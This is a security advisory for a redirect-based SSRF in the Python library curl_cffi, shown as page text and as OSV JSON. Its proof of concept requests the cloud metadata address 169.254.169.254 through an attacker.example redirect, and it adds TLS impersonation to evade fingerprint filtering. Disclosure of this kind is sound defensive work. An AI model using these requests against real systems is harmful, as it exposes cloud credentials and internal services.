GHSA-QW2M-4PQF-RMPP

Vulnerability from github – Published: 2026-04-03 21:36 – Updated: 2026-04-06 23:18
VLAI?
Summary
curl_cffi: Redirect-based SSRF leads to internal network access in curl_cffi (with TLS impersonation bypass)
Details

Summary

curl_cffi does not restrict requests to internal IP ranges, and follows redirects automatically via the underlying libcurl.

Because of this, an attacker-controlled URL can redirect requests to internal services such as cloud metadata endpoints. In addition, curl_cffi’s TLS impersonation feature can make these requests appear as legitimate browser traffic, which may bypass certain network controls.

Details

The issue comes from how curl_cffi handles outbound requests - User-supplied URLs are passed directly to libcurl without checking whether they resolve to internal IP ranges (e.g., 127.0.0.1, 169.254.0.0/16). - Redirects are automatically followed (CURLOPT_FOLLOWLOCATION = 1) inside libcurl. - There is no validation of redirect destinations at the Python layer.

This means that even if an application only allows requests to external URLs, an attacker can - Provide a URL pointing to an attacker-controlled server - Return a redirect response pointing to an internal service - Have curl_cffi follow that redirect automatically

As a result, internal endpoints (such as cloud instance metadata APIs) can be accessed.

Additionally, curl_cffi supports TLS fingerprint impersonation (e.g., impersonate="chrome"). In environments where outbound requests are filtered based on TLS fingerprinting, this can make such requests harder to detect or block

This behavior is similar to previously reported redirect-based SSRF issues such as CVE-2025-68616, where redirects allowed access to unintended internal resources.

PoC

  1. Direct internal request
import curl_cffi
resp = curl_cffi.get("http://169.254.169.254/latest/meta-data/")
print(resp.text)
  1. Redirect to internal service Attacker server:
GET /test
→ 302 Location: http://169.254.169.254/latest/meta-data/

Victim code:

import curl_cffi
resp = curl_cffi.get("https://attacker.example/test")
print(resp.text)

Result - Initial request goes to attacker server - Redirect is returned - libcurl follows the redirect automatically - Internal metadata endpoint is accessed

  1. With TLS impersonation
import curl_cffi\
resp = curl_cffi.get(
    "https://attacker.example/test",
    impersonate="chrome")

In some environments, this may help the request bypass TLS-based filtering controls.

Impact

An attacker who can control the requested URL may be able to: - Access internal network services - Reach cloud metadata endpoints and retrieve sensitive information - Bypass certain outbound filtering mechanisms (depending on environment) This corresponds to CWE-918 Server-Side Request Forgery.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "curl_cffi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33752"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-03T21:36:44Z",
    "nvd_published_at": "2026-04-06T16:16:34Z",
    "severity": "HIGH"
  },
  "details": "### Summary\ncurl_cffi does not restrict requests to internal IP ranges, and follows redirects automatically via the underlying libcurl.\n\nBecause of this, an attacker-controlled URL can redirect requests to internal services such as cloud metadata endpoints. In addition, curl_cffi\u2019s TLS impersonation feature can make these requests appear as legitimate browser traffic, which may bypass certain network controls.\n\n### Details\nThe issue comes from how curl_cffi handles outbound requests\n- User-supplied URLs are passed directly to libcurl without checking whether they resolve to internal IP ranges (e.g., 127.0.0.1, 169.254.0.0/16).\n- Redirects are automatically followed (CURLOPT_FOLLOWLOCATION = 1) inside libcurl.\n- There is no validation of redirect destinations at the Python layer.\n\nThis means that even if an application only allows requests to external URLs, an attacker can\n- Provide a URL pointing to an attacker-controlled server\n- Return a redirect response pointing to an internal service\n- Have curl_cffi follow that redirect automatically\n\nAs a result, internal endpoints (such as cloud instance metadata APIs) can be accessed.\n\nAdditionally, curl_cffi supports TLS fingerprint impersonation (e.g., impersonate=\"chrome\"). In environments where outbound requests are filtered based on TLS fingerprinting, this can make such requests harder to detect or block\n\nThis behavior is similar to previously reported redirect-based SSRF issues such as CVE-2025-68616, where redirects allowed access to unintended internal resources.\n\n### PoC\n1. Direct internal request\n```\nimport curl_cffi\nresp = curl_cffi.get(\"http://169.254.169.254/latest/meta-data/\")\nprint(resp.text)\n```\n2. Redirect to internal service\nAttacker server:\n```\nGET /test\n\u2192 302 Location: http://169.254.169.254/latest/meta-data/\n```\nVictim code:\n```\nimport curl_cffi\nresp = curl_cffi.get(\"https://attacker.example/test\")\nprint(resp.text)\n```\nResult\n- Initial request goes to attacker server\n- Redirect is returned\n- libcurl follows the redirect automatically\n- Internal metadata endpoint is accessed\n\n3. With TLS impersonation\n```\nimport curl_cffi\\\nresp = curl_cffi.get(\n    \"https://attacker.example/test\",\n    impersonate=\"chrome\")\n```\nIn some environments, this may help the request bypass TLS-based filtering controls.\n\n\n### Impact\nAn attacker who can control the requested URL may be able to:\n- Access internal network services\n- Reach cloud metadata endpoints and retrieve sensitive information\n- Bypass certain outbound filtering mechanisms (depending on environment)\nThis corresponds to CWE-918 Server-Side Request Forgery.",
  "id": "GHSA-qw2m-4pqf-rmpp",
  "modified": "2026-04-06T23:18:14Z",
  "published": "2026-04-03T21:36:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lexiforest/curl_cffi/security/advisories/GHSA-qw2m-4pqf-rmpp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33752"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lexiforest/curl_cffi"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "curl_cffi: Redirect-based SSRF leads to internal network access in curl_cffi (with TLS impersonation bypass)"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…